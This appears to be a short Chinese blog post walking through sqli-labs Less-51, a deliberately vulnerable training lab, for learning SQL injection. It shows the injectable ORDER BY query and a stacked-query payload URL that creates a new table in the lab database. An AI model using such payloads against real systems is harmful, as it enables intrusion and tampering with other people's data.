sqli-labs————Less-51

FLy_鵬程萬里發表於2018-05-21
SQL

Less-51


執行的sql語句：

$sql="SELECT * FROM users ORDER BY '$id'";

這裡和上一關基本上相同，唯一的區別就是加了一個單引號，這裡我們直接構建payload如下：

http://192.168.11.136/sqli-labs/Less-51?sort=1';create table hps like users--+

相關文章